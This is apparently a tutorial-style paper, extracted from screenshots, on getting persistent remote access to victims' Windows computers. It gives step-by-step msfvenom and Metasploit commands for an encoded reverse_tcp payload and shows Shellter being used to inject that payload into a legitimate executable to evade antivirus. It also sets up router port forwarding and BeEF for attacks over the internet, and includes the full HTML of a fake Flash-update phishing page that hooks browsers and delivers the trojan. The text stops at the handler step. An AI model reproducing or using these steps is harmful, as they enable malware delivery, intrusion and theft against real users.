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Abstract

This paper sets out to inform the reader about how hacker can gain complete and persistence access
anyone’s computer by bypassing antivirus and by browser exploitation using Metasploit
framework, BeEF browser exploitation framework and Shellter project tool. The paper will begin
with the concept of attack through local area network, attack over the internet or wide area network.
Then step by step procedure of building fully undetectable malicious file, browser exploitation,
remote and persistence access. Then few example what we can do after getting access to victim’s
computer. It is hoped that the reader will not only be able to come away with an awareness of the
power of the framework, but also be able to make the tools work for them in their own
environments.

1.1 Introduction
The overall aim for this project is to build a fully undetectable payload or malicious file and

browser exploitation to get complete and persistence access of anyone’s computer over the
internet. Malicious file or Malware stands for malicious software and is a term used to describe
any software that has malicious intentions. These intentions can include attempting to gain
unauthorized access to computer systems, disrupting computer systems and gathering sensitive
information. Malware is an umbrella term often used to describe programs such as viruses, worms,
trojans, spyware, ransomware, adware, scareware. Malicious programs can be identified by using
a hashing algorithm (such as MD5, SHA-256, SHA-512 etc) which produces a compact digital
fingerprint or signature of that file. This digital signature can then be used to check the malicious
file against a database of known malware or to identify the file when collaborating data.

1.2 Environment/ Framework/ Tools
a. Kali Linux- Attacker machine

b. Windows 7- Victim’s machine

c. Metasploit Framework v4.14.27- already installed in kali (https://www.metasploit.com)

d. BeEF browser exploitation framework- already installed in kali
(https://github.com/beefproject/beef)

e. Shellter Project (www.shellterproject.com)

Install Shellter in Kali Linux:

Open a terminal in kali, type the following command:
apt-get update

apt-get install shellter
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1.3 Attack through LAN

If we gave the victim a payload or listener or malicious file with our local IP address as the LHOST
(in this figure, it's 198.168.5.129), like we would have a normal LAN attack (when you're in the
same network as the victim), this is what the connection would look like:

@i‘ Victim’s Machine
Local IP: 192.168.5.127

’\ —>

Internet

((i)) Victim’s Smartphone

- Local IP: 192.168.5.126

P8
Attacker Router Victim’s Router
Attacker Machine Local IP: 192.168.5.2 Local IP: 192.168.5.2
Local IP: 192.168.5.128 Public IP: 20.21.22.23 Public IP: 30.31.32.33

Victim’s Machine
— Local IP: 192.168.5.129
Figure 1: Attack through Local Area Network
1.4 Attack over WAN

It's a reverse connection from the victim machine to the attacker machine through the internet.
Note that the connection must pass through the attacker's router; this will be important later.

Victim’s Machine
— " k Local IP: 192.168.5.127
Y em——
Internet
((i)) ((i)) Victim’s Smartphone
- Local IP: 192.168.5.126
Jj—am- ax
8

Attacker Router Victim’s Router
Attacker Machine Local IP: 192.168.5.2 Local IP: 192.168.5.2
Local IP: 192.168.5.128 Public IP: 20.21.22.23 Public IP: 30.31.32.33

N Victim’s Machine
Local IP: 192.168.5.129

Figure 2: Attack over the Internet
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We will have to provide our public IP address as LHOST (in this case, it's 20.21.22.23) when we

will build our malicious file, which will send the session to our router via internet. From there, it's
our router's job to direct it to our machine. This is where port forwarding comes in.

B

Internet

Direct Port 4444
t0 192.168.5.128

((i)) Going to 20.21.22.23

Going to 192.168.5.128 through port 4444

55 i:through port 4444

ry %
Attacker Router
Attacker Machine Local IP: 192.168.5.2
Local IP: 192.168.5.128 Public IP: 20.21.22.23

Figure 3: Port Forwarding

If we use, say, port 4444 as the LPORT in our reverese_tcp payload, or 80, 53, 3000, 5432 and
55552 for browser exploitation and then tell our router to direct anything trying to connect to those
port from outside the network to our kali machine, then we can receive the connection. Without
port forwarding, the connection doesn't know which machine on the attacker's network to direct
the connection to, and the attack won't work over the internet. Hence, 80, 53, 3000, 5432 and
55552 port are recommended port number for beEF exploitation framework over the internet.

To find the local IP address, we need to open a terminal in our kali and type: ifconfig

root@Faisal: ~ o ® @'
File Edit View Search Terminal Help

root@Faisal:~# ifconfig

eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1500
inet 192.168.5.128 netmask 255.255.255.8 broadcast 192.168.5.255
ineté feBO::20c:29ff:fTeeb:d8c5 prefixlen 64 scopeid Ox28<link=
ether 80:08c:29:eb:d8:c5 txqueuelen 1008 (Ethernet)

Figure 4: Finding Local IP
Here, local inet 192.168.5.128 is my local ip address.
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To find the router’s local IP address, we need to open a terminal in kali and type: router —n

root{@Faisal: ~ & &
File Edit View 5Search Terminal Help
root@Faisal:-# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.5.2 0.0.0.0 UG loe 0] 0@ ethe
192.168.5.0 _0.0.0.80 255.255.255.0 U lo0 0] ®@ ethe

Figure 5: Finding Router Local IP

Number under gateway 192.168.5.2 is my router’s local IP.

1.5 Router Configuration
To configure port forwarding we need to login in our router setting. To login open a browser and

type routers local IP. A login page will be displayed, type user name and password to login. Here
we can configure our router for port forwarding. To do that click on Advance, Enable Port
Forwarding, then click on Add Service. Then add the following port:

Port Forwarding + Add Service

Service Name Start Port EndPort Server IPv4 Server IPv6

Payload TCP & UDP 192.168.0.128  N/A

beEF1 TCP & UDP 53 152.168.0.128 N/A
beEF2 TCP & UDP 80 192.168.0.128 N/A
beEF3 TCP & UDP 3000 152.168.0.128  N/A
beEF4 TCP & UDP 5432 192.168.0.128 N/A

beEF5 TCP & UDP 55552 152.168.0.13 N/A

Figure 6: Router Configuration

We can also find our public IP from the router setting or we can visit http://canyouseeme.org/ to
find the public IP.
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1.6 BeEF Exploitation Framework Configuration
We already added these Ports 3000, 5432, 55552, 53, 80 in our router configuration. These ports

are recommended for beEF, if we want to attack over internet. To attack over the internet we
need to configure beEF exploitation framework.

To do that open a terminal in kali, then type the following command:

cd /usr/share/beef-xss

root@Faisal: /usr/share/beef-xss e 6 O

File Edit View Search Terminal Help
root@Faisal:~# cd fusr/share/beef-xss

root@Faisal: /usr/share/beef-xss# ls

arerules beef key.pem core Gemfile nano.save
beef Gemfile.lock

beef cert.pem config.yaml.save extensions modules

root@Faisal: /usr/share/beef-xss# [

Figure 7: BeEF Configuration to Attack over WAN

Then type: nano config.yaml
Write your public IP in the dns_host.

root@Faisal: /usr/share/beef-xss e 0 O
File Edit View Search Terminal Help
GNU nano 2.8.5 File: config.yaml Modified
#public: "™ # public hostname/IP address
#public port # experimental

# DNS

dns host: *20.21.22.23"] |
dns port: 53

# Web Admin user interface URI
web ui basepath: "/ui"

# Hook

hook file: "/hook.js"

hook session name: "BEEFHOOK"
session cookie name: "BEEFSESSION"

Allow one or multiple origins to access the RESTful API using CORS

For multiple origins use: "http://browserhacker.com, http://domain2.c%
restful api:

allow cors: fTalse

x
=k

W& Get Help
B Exit

Y Write Out g { Cut Text gl Justify
Wi Read File M\ Replace Ml Uncut Texti@l To Spell

Figure 8: BeEF Configuration, Change dns host

We Cur Pos
gl Go To Line
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In the same file, write your public IP in the db_host. Then press ctrl + X, then press Y to save the

file.

' root@Faisal: fusr/share/beef-xss o e O
File Edit View Search Terminal Help

GNU nano 2.8.5 File: config.yaml Modified

# db connection information is only used for mysql/postgres
db host: "20.21.22.23"

db port: 3306

db name: "beef"

db user: "beef"

db passwd: "beef"

db_encoding: "UTF-8"

Credentials to authenticate in BeEF.

Used by both the RESTful API and the Admin UI extension
credentials:

user: "beef"

passwd: "beef"

#

#

# Autorun Rule Engine

autorun:
# this is used when rule chain mode type is nested-forward, needed as c%
# to ensure that we can wait for async command results. The timeout is %

¢ Get Help Write out g Where Is B Justify
®1 Exit Read File M Replace &l To Soell

Figure 9: BeEF Configuration, change db host

oY Cur Pos
gl Go To Line

Now we need to configure another file located in the beef-xss> extensions> metasploit directory.
To do that, type the following command:

cd extensions/Metasploit

then type: nano config.yaml

Write your public IP in the host and in the callback _host
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©o 0

root@Faisal: /usr/share/beef-xss/extensions/metasploit

File Edit Help
root@Faisal:~# cd fusr/share/beef-xss

View Search Terminal

root@Faisal: /usr/share/beef-xss# 1s

arerules beef key.pem core Gemfile nano.save
beef config.yaml db Gemfile.lock

beef cert.pem config.yaml.save extensions modules

root@Faisal: /usr/share/beef-xss# nano config.yaml

root@Faisal: /usr/share/beef-xss# cd extensions

root@Faisal: /usr/share/beef-xss/extensions# 1s

admin_ ui dns ipec grcode Xssrays
autoloader dns_rebinding metasploit requester

console etag network s2c_dns_tunnel

customhook evasion notifications social engineering

demos events proxy webrtc

root@Faisal: /usr/share/beef-xss/extensions# cd metasploit
root@Faisal: /usr/share/beef-xss/extensions/metasploit# ls
api.rb config.yaml extension.rb module.rb rest rpcclient.rb
root@Faisal: /usr/share/beef-xss/extensions/metasploit# D

Figure 10: BeEF Configuration, Change Metasploit host and callback host Step 1
@ 00

root@Faisal: fusr/share/beef-xss/extensions/metasploit

File Edit View Search Terminal Help

GNU nano 2.8.5 File: Modified

config.yaml

# Please note that the ServerHost parameter must have the same value of host an$
# Also always use the IP of your machine where MSF is listening.
beef:

extension:
metasploit:
name: 'Metasploit’
enabhle- true
host: "20.21.22.23"
port: 55552
user: "msft"
pass: "abcl23"
uri: '/sapi'
# if you need "ssl: true" make sure you start msfrpcd with "SSL=y",%
# load msgrpc ServerHost=IP Pass=abcl23 SSL=y
ssl: false
ssl version: 'TLSv1'
ssl verify: true
callback_host: "20.21.22.23|
autopwn _url: "autopwn™
B¢ Get Help g Write Out ﬁ Where Is @d Cut Text [ Justify We Cur Pos
B Exit Mi Read File Replace B! Uncut Textgg] To Spell @ Go To Line

Figure 11: BeEF Configuration, Change Metasploit host and callback host Step 2

Then press ctrl + X, then press Y to save the file.
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2.1 Creating Payload

Open a terminal in kali. Type the following command to create a payload:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.5.128 LPORT=4444 x>
[/root/Desktop/filename.exe. OR

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e generic/none -f
exe LHOST=20.21.22.23 LPORT=4444 > /root/Desktop/filename.exe

But those payload are detectable by most antiviruses. My goal is to bypass antiviruses.

To do that, we need to generate an encoded meterpreter reverse tcp payload. Open a terminal in
kali, type following command to run Metasploit database and Metasploit framework:

i root@Faisal: ~ e 0 O l

File Edit View Search Terminal Help

root@Faisal:~# service postgresql start
root@Faisal:~# msfconsole

=l

1
+ -- --=[ 1659 exploits - 951 auxiliary - 293 post 1
+ -- --=[ 486 payloads - 40 encoders - 9 nops 1
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp 1]

Figure 12: Metasploit Framework

Then type the following command to use reverse tcp payload:

Use payload/windows/meterprter/reverse_tcp.

Metasploit has a default port 4444. If we want we can setup our custom port. To setup listener IP
address we have to type: set LHOST “local IP or public IP”, then press enter.

r 1

root@°Faisal: ~ @ 0 0
File Edit View Search Terminal Help

msf > use payload/windows/meterpreter/reverse tcp
msf payload(reverse_tcp) = show options

Module options (payload/windows/meterpreter/reverse tcp):

Mame Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thre
ad, process, none)

LHOST yes The listen address

LPORT 4444 yes The listen port

msf payload(reverse_ tcp) > set LHOST 192.168.5.128
LHOST == 192.168.5.128

msf payload(reverse _tcp) = set LPORT 4444

LPORT == 4444

msf payload{reverse_tcp) > show encoders

Figure 13: Generating an encoded meterpreter reverse tcp payload step 1
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To setup listener port number type: set LPORT “custom port number”, then press enter. If we
want to attack over the internet we will have to use our public IP in the LHOST.

Now we will generate an encoded meterpreter reverse tcp payload. To see the available encoder
in the Metasploit framework, type: show encoders

It will give you a complete list of encoders available in the framework. In this version, the total
number of available encoders is 40.

x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder

x86/0pt sub manual Sub Encoder {(optimised)
x86/service manual Register Service
x86/shikata ga nai A1k Polymorphic XOR Additive

Feedback Encoder

x86/single static bit manual Single Static Bit
x86/unicode mixed manual Alpha2 Alphanumeric Unico

Figure 14: List of Metasploit Encoders

We will use shikata_ga_nai encoder, which has excellent rank among all encoders.
Type the following command to generate an encoded meterpreter reverse tcp payload:
generate -e x86/ shikata_ga_nai -t raw -f main

Here, -e indicates which encoder module we are using. Then we have to type the name of the

encoder. -t indicates which output format we want. I am using raw output format. -f indicates the

output file name. We can use any file name. I used “main” as the output file name.
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root@Faisal: ~ o ® &
File Edit View Search Terminal Help

msf payload(reverse tcp) = generate -h
Usage: generate [options]

Generates a payload.
OPTIONS:
-E Force encoding.
-b <=opt= The list of characters to avoid: '\x80\xff'

-e <opt> The name of the encoder module to use.
-T =opt= The output file name (otherwise stdout)

-h Help banner.
-1 =opt= the number of encoding iterations.
-k Keep the template executable functional

-0 <opt> A comma separated list of options in VAR=VAL format.

-p <opt= The Platform for output.

-5 =opt= NOP sled length.

-t <opt> The output format: bash,c,csharp,dw,dword,hex, java,js_be,js_le,num,perl,pl,p
owershell, psl, py,python, raw, rb, ruby, sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,
elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar, jsp,loop-vbs,macho,msi,msi-nouac
,0sx-app,psh,psh-cmd, psh-net,psh-reflection, vba, vba-exe,vba-psh,vbs,war

-x =opt> The executable template to use
mst payload(reverse_tcp) > generate -e x86/shikata ga nai -t raw -f main

Writing 388 bytes to main...

Figure 15: Generating an encoded meterpreter reverse tcp payload step 2

| just created an encoded meterprter reverse tcp payload in kali Home directory which is still
detectable by anti-virus.

2.2 Bypass Antivirus
To bypass antiviruses | used shellter tools. Shellter is a dynamic shellcode injection tool.

It can be used in order to inject shellcode into native Windows applications (currently 32-bit
applications only). Shellter takes advantage of the original structure of the PE file and doesn’t
apply any modification such as changing memory access permissions in sections (unless the user
wants), adding an extra section with RWE access, and whatever would look dodgy under an AV
scan.

At first we need to move the payload (in my case “main” file) from home directory to Shellter
directory. Move the payload in the shelter directory. In my case, | have installed Shellter in my
kali Desktop. So | moved the file to Shellter directory.

Second we need to choose a Windows application file. | choose a portable executable file named
“Folder Protector.exe” where I injected the payload shellcode. I renamed the file name as
“adobe.exe” Then moved the file to the shelter directory. We can choose any application file. Most
of the file will work but few may not work. . That time, shellter will give u error or your file will
be detectable by anti-virus. Note that it is recommended to use portable executable file.
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rotector 5.34

SyMFolderdProtector

_ @ Protect Default QProtect Another  >SETTINGS

Password: |

Re-enter:

‘ Frotect ] | Cancel

Website: http://wwn kakasoft.com @)
Figure 16: | Folder Protector where | Injected shellcode

We need to open a new terminal and type the following command to run Shellter:

To change directory to shelter: cd Desktop/shellter

Then type: wine shellter.exe

Select operation mode auto by typing “A”. We have to type our Portable Executable (PE) file name
in the PE Target. In my case its “adobe.exe”. Then press enter.

r

root@Faisal: ~/Desktop/shellter e ® O
File Edit View Search Terminal Help

root@Faisal:~/Desktop/shellter# wine shellter.exe

1elelel o1 10 eleelle 1e 01 1l100le01 0011101 OOlEO1
11 18 01 80 01 081 a1 10 11 10
0010011 1116001 11011 11 10 0o 10011 9110081

11 08 10 81 11 01 11 01 01 11
geleelo 11 00 0011010 100111 GOO111 GO 1100011 01 10 v6.9
www.ShellterProject.com Wine Mode

Choose Operation Mode - Auto/Manual (A/M/H): A

PE Target: adobe.exe

e ok of ok o ok ok ok

* Backup *
o o o e o o o ook

Backup: Shellter Backups\adobe.exe

Figure 17: Shellter create undetectable payload step 1
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root@Faisal: ~/Desktop/shellter

Edit View Search Terminal Help

Enable Stealth Mode? (Y/M/H): Y

S e e of o 3 ok of o ok ok ok

* Payloads *
e 3 ok o ke ok o ok o ok o ok

[1]

Meterpreter Reverse TCP [stager]

[2] Meterpreter Reverse HTTP [stager]

[3] Meterpreter Reverse HTTPS [stager]

[4] Meterpreter Bind TCP [stager]

[5] shell Reverse TCP [stager]

[6] shell Bind TCP [stager]

[7] WinExec

Use a listed payload or custom? (L/C/H): C

Select Payload: main

[s this payload a reflective DLL loader? (Y/N/H):

After few seconds we will get an option, Enable Stealth Mode? Press Y

Figure 18: Shellter create undetectable payload step 2

e

O

<]

Stealth Mode feature preserves the original functionality of the application while it keeps all the
benefits of dynamic PE infection.

Then we will get an option to choose listed payload or custom. Press C for custom payload. Then

type our custom payload name “main” that we have created in 2.1 section. Remember we need to

move “main” file and adobe.exe file both in the shelter directory.
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root@Faisal: ~/Desktop/shellter e ® 9
File Edit View Search Terminal Help

o s e s o ohe o e o 3k ofe o e o o ofe o e ofe e e ok

* Verification Stage *
e sk o ok o o o o of o of o e e e e e e e o ok ok

Info: Shellter will werify that the first instruction of the
injected code will be reached successfully.
If polymorphic code has been added, then the first
instruction refers to that and not to the effective
payload.
Max waiting time: 180 seconds.

Warning!

ITf the PE target spawns a child process of itself before
reaching the injection point, then the injected code will
be executed in that process. In that case Shellter won't
have any control over it during this test.

¥You know what you are doing, right? ;o)

Injection: Verified! I

Ll

Figure 19: Shellter create undetectable payload successful

We successfully created our payload or malicious file. Now let’s compare the hash before and
after injecting the shellcode.
#5 MDS5 & SHA Checksum Utility 2.1 — X
Help  Check out Pro Version

Generate Hash
File:  |C:\Users\Faisal\Desktop\Folder Protector.exe] || Bowse
MD5 [] |3A179628F6F54566FDBCAEG83BD093A9 | | CopyMD5
SHA-1 [] |6F6324B1F895E95CEIDDI1C36B1D86B232405ABD | | Copy SHA-1

SHA-256 [065M25230A7647878&:796ABGA61E89207C389840A99HIBD9&:74B545AA0881 ‘ Copy SHA-256

SHA-512 [E 135F2E24A833CDD33A719F1CA7C3C4B4159251 B76730692E395EBFBFF0020A87II Copy SHA-512

Copy All
Figure 20: Hashes before Injecting Shellcode

We see all the hashes changed after injecting the shellcode using shelter in figure 20.
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9 MD5 & SHA Checksum Utility 2.1 = X
Help  Check out Pro Version
Generate Hash
File:  |C:\Users\Faisal\Desktop\adobe exe || Browse
MD5 [/] | DOEBE7E628164DCB3109DBF5904F7E53 | | CopyMD5
SHA-1 [] | B1BBO7CFC20865B70E66D0014BC1D59EAICEDCBF | | Copy SHA1

SHA-256 l1BC3E8A49369690A963E1A07929A02E61F90M01502CDDB306085F/2977F2060 J Copy SHA-256

SHA-512 [:DBSFCEBSOBEEFEACBH 156E80500500AD4AFD74F624396K:F85E6ACDR:K:6709| Copy SHA-512

Copy All

Figure 21: Hashes after Injecting Shellcode

Now we need to scan our payload. We can do that with any antivirus. | used www.virustotal.com
to scan the malicious file.

x
https://www.virustotal.com/en/file/1bc3e8a4936969da%63e1a07929a02261f902ad1502cddb3060b5f72977f2d60/analysis/1500184983/
# Community Statistics Documentation FAQ About ™ English Join our community Sign
SHAZ256: 1bc3e8a4936969da%63e1a07920a02e6 1f30aad1502cddb3060b5T 297 T2d60 $
File name: adobe.exe
L—

Detection ratio: 4762 .r O O
Analysis date: 2017-07-16 06:03:03 UTC ( 0 minutes ago )

= Analysis @, File detail  Additional information ® Comments 1 otes i Behavioural information

Antivirus Result Update

ESET-NOD32 a variant of Win32/Leockdir A potentially unsafe 20170715

KTAntiVirus Trojan ( 70000001 ) 20170714

KTGW Trojan ( 70000001 ) 20170716

NANO-Antivirus Trojan.Win32 Kryptik.ekzxv] 20170716

Figure 22: Scanning Result of Malicious File

From the result we see that the created payload is not detectable by most antiviruses. Only detect
4 out of 62 antiviruses. So | can say, | have successfully created undetectable malicious file which
can bypass most antiviruses. Note that, it’s better not to scan using www.virustotal.com for newly
created payload.
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3.1 Sending Malicious File

We can send the malicious file to the victim’s computer in many ways to get the access to victim’s
computer. But | want to send the file to the victim’s computer using BeEF browser exploitation
framework. So that | can attack victim’s browser also. With BeEF we can do many types of attack
such as we can retrieve session cookies, redirect target to malicious URL’s, Change site content,
Form field sniffing, Embed hidden iframes, fingerprinting, control webcam etc.

3.2 BeEF Browser Exploitation

To run the BeEF browser exploitation framework. Open a Type the following command:
service apache2 start

cd/usr/share/beef-xss

then type: ./beef

| root@Faisal: /usr/share/beef-xss e ® O

File Edit View Search Terminal Help

root@Faisal:-# service apache2 start

root@Faisal:~# cd /usr/share/beef-xss
root@Faisal:/usr/share/beef-xss# ./beef

[20:09:05][*] Bind socket [imapeudoral] listening on [0.0.0.0:2000].
[20:09:05] [*] Browser Exploitation Framework (BeEF) 0.4.7.0-alpha

[20:09:05] | Twit: @beefproject

[20:09:05] | Site: http://beefproject.com

[20:09:05] | Blog: http://blog.beefproject.com

[20:09:05] |  Wiki: https://github.com/beefproject/beef/wiki

[20:09:05][*] Project Creator: Wade Alcorn (@wadeAlcorn)
[20:09:06][*] BeEF is loading. Wait a few seconds...
[20:09:12][*] 12 extensions enabled.

[20:09:12][*] 254 modules enabled.

[20:09:12][*] 2 network interfaces were detected.
[20:09:12] [+] running on network interface: 127.0.0.1

[20:09:12] | Hook URL: http://127.0.0.1:3000/hook.js
[20:09:12] |  UI URL: http://127.0.0.1:3000/ui/panel
[20:09:12] [+] running on network interface: 192.168.5.128
[20:09:12] | Hook URL: http://192.168.5.128:3000/hook.js
[20:09:12] | UI URL: http://192.168.5.128:3000/ui/panel

[20:09:12] [*] RESTful API key: 81b118b965cfbe49c3b2d06c9612577d4d08a005
[20:09:12][*] HTTP Proxy: http://127.0.0.1:6789
130:09:12]['] BeEF server started (press control+c to stop)

Figure 23: Run apache server and BeEF Framework

Here, http://192.168.5.128.3000/ui/panel is the user interface.
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Before sending the malicious file we need configure or create html file which will work as a hook
website. To do that, first we need to open our browser and type 127.0.0.1:3000/hook.js

This page is running in the BeEF server with the port 3000. We need the “hook.js” file content.
The “hook.js” contain Cross Site Script. We need these script to exploit victim’s browser.

To get the “hook.js” content, press mouse right button> view page source

Copy all the content. Then Go to the directory as:

Computer> var > www> html

We need to make a text file in the html directory. Paste the copied content in the text file and name
the file as “hook.js”.

| have created the following file in the html directory.

1 B var www  html »

t &
« == 1 B B
T

adobe.exe  adobeupdat hook.js index.html style.css
e.png

We need to move the adobe.exe to this directory.
Then we need to open the index.html file in the same directory by any Text Editor, then delete all
the content. | have typed the following code:

‘ Open ~ HE‘ |r11ldexht|n:rtl ‘ Save ||E‘ ©coe e
:fﬁgEEYPE html=
<head=

<title>Adobe Flash Update</title=
<link href="style.css" type="text/css" rel="stylesheet"=>
=script=
var commandModuleStr = '<script src=""' + window.location.protocol + '//' +
window.location.host + '/hook.js" type="text/javascript"=<\/script=';
document.write(commandModuleStr);
</script=
</head>
<body=
<hl=Update Your Flash Player</hl=
=p=You need current version of flash player to view the page.=</p=
<img src="adobeupdate.png" /></a>
<div class= "button"=>
<p><input type="button" name"btnDownload" value="Update Now"
onclick="window.open ('adobe.exe', 'download')"/></p>
</div=>
</body=
</html=>

Figure 24: Index.html File Code
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*style.css
Fvarhwnarw hitml

e 0

index.html x *style.css x

| Open - “j1| | Save |

html, body {
font-family: sans-serif;
margin: 0;
width: 100%;
height: 100%;

}
hl {
color:FireBrick;
}
P{
font-size:18px;
}

input[type=button] {
padding:15px 35px;
background:#323333;
border:@ none;
cursor:pointer;
-webkit-border-radius: 5px;
border-radius: 5px;
color: white;
font-size: 22px;
}
Sl
font-family:Arial;
text-align:center;

}

Figure 25: Style.css Code

The following is the webpage | have designed:

M Adobe Flash Update X

& > C |® 1921685128 | ¢

Update Your Flash Player

You need current version of flash player to view the page.

UPDATE FLASH NOW!

[Critical] Adobe releases 23 Security Patches

Update Now

Figure 26: Webpage View
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Now we need to login in BeEF Ul. To do that we need to open a browser and type:
Yourlocalip:3000/ui/panel
In my case: 192.168.5.128.3000/ui/panel

The default username and password for BeEF user interface is “beef”

BeEF Authentication - Mozilla Firefox (- JC )

| BeEF Authentication x|\ +

€ | ® & | 192.168.5.128:3000/uifauthentication 120% | ¢ || Q Search wBa 4+ @

[ Most Visitedv [l Offensive Security " Kali Linux ", Kali Docs “ Kali Tools [BExploit-DB Wy Aircrack-ng

—eEF

Authentication
Username: beef
Password: ssee

Login

Figure 27: BeEF User Interface Login Page

.
BeEF Control Panel - Mozilla Firefox [ O <]

| BeEF Control Panel x|+

€  (192.168.5.128:300 E1(120% | ¢ ||Q Search e ¥ @ =

fif) Most Visitedw [l Offensive Security " Kali Linux S Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng
& BeEF 0.4.7.0-alpha | Submit Bug | Logout

[z B ane e Getting Started %/l Logs

_] Online Browsers e e A T
4 () Offline Browsers
Main: Display information about the hooked browser after you've run some command moedules.
4{127.0.0.1 Logs: Displays recent log entries related to this particular hooked browser.
7 A% 157001 Commands: This tab Is where modules can be executed against the hooked browser. This is where
e mast of the BeEF functionality resides. Most command modules consist of Javascript code that is
? Q ®. 192.168.5.128 executed against the selected Hooked Browser. Command medules are able to perform any actions
that can be achieved through Javascript: for example they may gather information about the Hooked
Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities within the
local netwark of the Hooked Browser.

Each command module has a traffic light icon, which is used to indicate the following:
The command module works against the target and should be invisible to the user
¥ The command module works against the target, but may be visible to the user
The command module is yet to be verified against this target
@ The command module does not work against this target

XssRays: The XssRays tab allows the user to check if links, forms and URI path of the page
(where the browser is hooked) is vulnerable to XSS.

Rider: The Rider tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser.
Each request sent by the Rider is recorded in the History panel. Click a history item to view the
HTTP headers and HTML source of the HTTP response.

Network: The Network tab allows you to interact with hosts on the local network(s) of the hooked
browser.

You can also right-click a hooked browser to open a context-menu with additional functionality:

Tunneling Proxy: The Proxy allows you to use a hooked browser as a proxy. Simply right-click a
browser from the Hooked Browsers tree to the left and select "Use as Proxy". Each request sent
through the Proxy is recorded in the History panel in the Rider tab. Click a histary item to view the
HTTP headers and HTML source of the HTTP response.
XssRays: XssRays allows the user to check if links, forms and URI path of the page (where the
- browser is hooked) is vulnerable to XSS. To customize default settings of an XssRays scan, please
EESI (Fze Paiies use the XssRays tab. ~

Figure 28: BeEF User Interface after Login
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In BeEF browser exploitation framework there are 255 different available command module.

Sun 04:01e

BeEF Control Panel - Mozilla Firefox [— IO <]
BeEF Control Panel x|+

€ ) ©|192.168.5.128:3000/ui/panel E1 120% | Search B8 3+ & 9

[ Most Visited [l Offensive Security S, Kali Linux “& Kali Docs “, Kali Tools KBExploit-DB Y Aircrack-ng

” BeEF 0.4.7.0-alpha | Submit Bug | Logout

Hooked Browsers

Getting Started Logs Current Browser
| Online Browsers
4 £ Offline Browsers Details || Logs | Commands || Rider | XssRays | Ipec || Network | WebRTC
4317001 Module Tree Module Results History
7 B ™ 127001 - -
Search id « date label

7 0% 1021685128
[_] Browser (53)

[_] Chrome Extensions (6)
[_] Debug (9)
[_] Exploits (78)
] Host (22)
]IPEC (9)
[__] Metasploit (1)
[_] Misc (16)
[ Network (19)
| Persistence (5)
[ Phonegap (16)
[__] Social Engineering (21)

Basic Requester ) Ready

Figure 29: BeEF 255 Different Command Module
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Now our work will be to send the hook url. In my case the hook url is 192.168.5.128.

When victims will visit the page, we will get a notification in the terminal where beEF is running.
Also we will see the victim’s IP and computer information in the BeEF interface where we logged
in.

In my case, Victim will see the page | have designed about update flash player. If victim click on
“Update Now” and run the file I have sent through url, I will gain the complete access of the
victim’s machine.

root@Faisal: /usrfshare/beef-xss e G O
File Edit View Search Terminal Help
[20:09:85] [*] Browser Exploitation Framework (BeEF) ©.4.7.0-alpha -
[20:09:05] | Twit: @beefproject
[20:09:05] | Site: http://beefproject.com
[2z0:09:85] | Blog: http://blog.beefproject.com
[20:09:05] | wiki: https://github.com/beefproject/beef/wiki

[20:09:85] [*] Project Creator: Wade Alcorn (@wadeAlcorn)
[20:09:06][*] BeEF is loading. Wait a few seconds...
[20:09:12][*] 12 extensions enabled.

[20:89:12][*] 254 modules enabled.

[20:89:12][*] 2 network interfaces were detected.
[20:09:12] [+] running on network interface: 127.0.0.1

[20:09:12] | Hook URL: http://127.0.0.1:3000/hook. js
[20:09:12] | UL URL: http://127.0.0.1:3800/ui/panel
[20:89:12] [+] running on network interface: 192.168.5.128
[20:09:12] | Hook URL: http://192.168.5.128:3000/hook. js
[20:09:12] | UL URL: http://192.168.5.128:3000,/ui/panel

[20:89:12] [*] RESTful API key: 81bl18b965cfbe49c3b2d86c9612577d4d@8anes
[26:89:12] [*] HTTP Proxy: http://127.0.8.1:6789

[206:89:12] [*] BeEF server started (press control+c to stop)

[20:11:38][!] [Browser Details] Invalid browser name returned from the hook browser
's initial connection.

[20:11:38][*] New Hooked Browser [id:17, 1p:192.168.5.129, browser:UNKNOWN-UNKNOWN,
os:Windows-7], hooked domain [192.168.5.128:80]

[20:11:39][*] [ARE] Checking if any defined rules should be triggered on target.
LFB:11:39] | Found [©/8] ARE rules matching the hooked browser type/version.

Figure 30: Hooked Browser when user browsed the URL that sent to the user
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BeEF Control Panel - Mozilla Firefox (- JC N -]

| BeEF Control Panel x|+

€ | © | 192.168.5.128:3000/ui/panel EJ120% | @ ||Q Search wEe ¥ & 9

[ Most Visited~ JllOffensive Security S Kali Linux " Kali Docs % Kali Tools EBExploit-DB W Aircrack-ng

# BeEF 0.4.7.0-alpha | Submit Bug | Logout

Hooked Browsers
4 (7 Online Browsers

= Details Logs Commands Rider XssRays Ipec Network WebRTC
M=
7 ’ Zednaey (3 Category: Browser (6 Items)
- e BIoWSers

Getting Started Logs Current Browser

>

259127001 Browser Version: UNKNOWN Initialization
N Browser UA String: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Initialization
T hH=
127.001 Safari/537.36

Browser Language: en-US Initialization

Browser Platform: Win32 Initialization

Browser Plugins: Widevine Content Decryption Module,Chreme PDF Viewer,Native Client Initialization

g Typt
Window Size: Width: 1366, Height: 662 Initialization

(< Category: Browser Components (12 Items)

Flash: No Initialization
VBScript: No Initialization
PhoneGap: No Initialization
‘Google Gears: No Initialization
‘Web Sockets: Yes Initialization
QuickTime: No Initialization
RealPlayer: No Initialization
Windows Media Player: No Initialization
WebRTC: Yes Initialization
ActiveX: No Initialization
Basic | R Session Cookies: Yes Initialization

Figure 31: Victim's IP and Fingerprinting

M Adobe Flash Update x WY = 2
¢ C | ® 1921685128 o
Update Your Flash Player :
You need current version of flash player to view the page.

UPDATE FLASH NOW!

@

[Critical] Adobe releases 23 Security Patches

Update Now

f& adobeexe o~ Show all X

Figure 32: When User Click Update Now, Malicious File will be downloaded
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Type the following command to start the TCP handler:

